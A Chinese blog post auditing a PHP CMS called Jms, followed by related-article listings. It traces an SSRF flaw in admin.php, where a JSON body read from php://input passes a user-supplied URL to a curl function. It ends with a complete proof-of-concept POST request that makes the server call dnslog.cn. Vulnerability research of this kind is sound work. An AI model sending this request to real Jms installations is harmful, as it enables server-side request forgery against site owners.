Jms - SSRF - 代码审计
在先知上看见一人发的文章.. 一看ID这么熟悉 原来是一个群友
唉 自己审计这么垃圾 几百年没搞过了 然后玩玩吧
一打开源码 我吐了
ctrl+alt+l
格式化下代码 顺眼多了
然后Seay走了一波 ,发现admin.php下的交互点比较大 就打开看下
line 28-44
这可还行 一点进去curl_init
,具体看下这个Cur方法吧
function Cur($u)
{
$n = curl_init();
curl_setopt($n, CURLOPT_TIMEOUT, 30);
curl_setopt($n, CURLOPT_RETURNTRANSFER, TRUE);
if (substr($u, 0, 8) == "https://") {
curl_setopt($n, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($n, CURLOPT_SSL_VERIFYHOST, FALSE);
}
curl_setopt($n, CURLOPT_URL, $u);
curl_setopt($n, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:134.175.' . rand(80, 255) . '.' . rand(80, 255), 'CLIENT-IP:192.168.0.2'));
curl_setopt($n, CURLOPT_REFERER, "https://pjjx.1688.com/");
curl_setopt($n, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3823.400 QQBrowser/10.7.4307.400");
$s = curl_exec($n);
curl_close($n);
return $s;
}
我们把侧重点放在CURLOPT_URL
就可以,可以看见后面$u 可控 就是传递过来的参数
全局搜一波吧
一共俩
在变量m
里
去追下变量m
$m = file_get_contents("php://input");
Line 46
我这次get到的php新知识就是这个
我一开始想file_get_contents
不是读取吗, php://input
不是php的伪协议吗 这是个嘛玩意 然后就去搜了下
https://blog.csdn.net/huangjingwen1129/article/details/82858573
也就是POST请求, Content-Type 是 application/x-www-form-urlencoded 或 multipart/form-data 时,会将变量以关联数组形式传入当前脚本
然后下面第50行又会去调用Dec方法 追进去瞅一眼
function Dec($s, $c = false)
{
$s = json_decode($s, true);
if (json_last_error()) die('{"msg":"Request JSON Parse Error."}');
return $c ? Rpl($s) : $s;
}
没啥..
然后这个点是一个switch case结构
act==sbu
PS: 有一个sid参数的值我不知道咋来的 所以我就直接通过后台 用了一个功能 改了下他的请求包就可以
加入Bu
后面跟url
最终POC
POST /www.test.com/admin.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 75
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/www.test.com/admin.php
Cookie: Jms_FromID=; Jms_BackURL=http%253A//127.0.0.1/www.test.com/item.php%253Fid%253D7
{"act":"sbu","uid":"1","sid":"Wf0001ELmbuaf6h3","Bu":"http://dnslog.cn"}
漏洞证明
Jms - SSRF - 代码审计的更多相关文章
- 记一次简单的PHP代码审计(SSRF案例)
题目链接: http://oj.momomoxiaoxi.com:9090/ 用dirsearch对网址进行扫描,发现robots.txt 命令行: python3 dirsearch.py -u & ...
- java代码审计中的一些常见漏洞及其特征函数
文章来源:https://xz.aliyun.com/t/1633 最近在先知上看到之前有篇关于java代码审计的文章总结的蛮好,记录以下特征函数,方便查阅,同时自己也会将在平时代码审计过程中积累的函 ...
- ref:JAVA代码审计的一些Tips(附脚本)
ref:https://xz.aliyun.com/t/1633/ JAVA代码审计的一些Tips(附脚本) 概述 本文重点介绍JAVA安全编码与代码审计基础知识,会以漏洞及安全编码示例的方式介绍JA ...
- 熊海cms v1.0 完全代码审计
很久以前写的,写这个东西更多的是为了说明我自己的一个思路,即按照程序功能点进行代码审计, 这样经过一段时间训练,熟悉了某种功能的正确和错误实现方法,遇到类似的代码就可以很快看出是否有问题了 --- 0 ...
- Pikachu漏洞练习平台实验——php反序列化、XXE、SSRF(九)
1.序列化和反序列化 1.1.概述 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数. 序列化serialize()序列化说通俗点就是把一个对象变成 ...
- Java Web代码审计流程与漏洞函数
常见框架与组合 常见框架 Struts2 SpringMVC Spring Boot 框架执行流程 View层:视图层 Controller层:表现层 Service层:业务层 Dom层:持久层 常见 ...
- 代码审计变成CTF
0x01 代码审计中的信息收集 一个cms代码量确实不少,通读代码耗时长,效果也不一定好.而一个功能点如果之前出过漏洞,特别是多次出现漏洞的地方,证明开发者对这个漏洞的理解不充分,很容易再次绕过补丁. ...
- 网鼎杯-Fakebook-反序列化和SSRF和file协议读取文件
0x00知识点:SSRF SSRF (Server-side Request Forge, 服务端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外 ...
- Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx
Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ...
随机推荐
- 03 jumpserver用户管理
3.用户管理: (1)创建用户组: (2)创建用户并加入组: (3)用户通过邮件链接修改密码:
- 树莓派4B-SPI读写flash-FM25CL16B(同时支持FM25CL64等其它系列Flash)
1.树莓派SPI介绍 4B的引脚如下图所示: 其中Pin19.21.23是SPI0,接口定义如下所示: 时钟(SPI CLK, SCLK) 主机输出.从机输入(MOSI) 主机输入.从机输出(MISO ...
- SpringBoot拦截器及源码分析
1.拦截器是什么 java里的拦截器(Interceptor)是动态拦截Action调用的对象,它提供了一种机制可以使开发者在一个Action执行的前后执行一段代码,也可以在一个Action执行前阻止 ...
- 开始前端三大基础的js之途
初识 js ...
- 在一个py脚本中调用另外一个py脚本中的类或函数
1.两个文件在同一目录,直接import即可 2.两个文件在不同目录 在导入文件的时候,Python只搜索当前脚本所在的目录,加载(entry-point)入口脚本运行目录和sys.path中包含的路 ...
- PHP解决并发问题的几种实现(转)
对于商品抢购等并发场景下,可能会出现超卖的现象,这时就需要解决并发所带来的这些问题了 在PHP语言中并没有原生的提供并发的解决方案,因此就需要借助其他方式来实现并发控制. 方案一:使用文件锁排它锁 ...
- XCTF Hello CTF
一.查壳 二.拖入ida x86静态分析 shift +F12找到字符串. 发现关键字please input your serial 点击进入 这是我们的主函数,F5反编译一下,看一下逻辑. 这里有 ...
- ESP32存储blog笔记
基于ESP-IDF4.1 1 #include <stdio.h> 2 #include "freertos/FreeRTOS.h" 3 #include " ...
- asp.net mvc请求流程
收对应用程序的第一个请求 > 执行路由 > 创建 MVC 请求处理程序 > 创建控制器 > 执行控制器 > 调用操作 > 执行结果
- CF1539A Contest Start[题解]
Contest Start 题目大意 有 \(n\) 个人报名参加一个比赛,从 \(0\) 时刻开始每隔 \(x\) 分钟有一个人开始比赛,每个人参赛时间相同,均为 \(t\) .定义一个选手的不满意 ...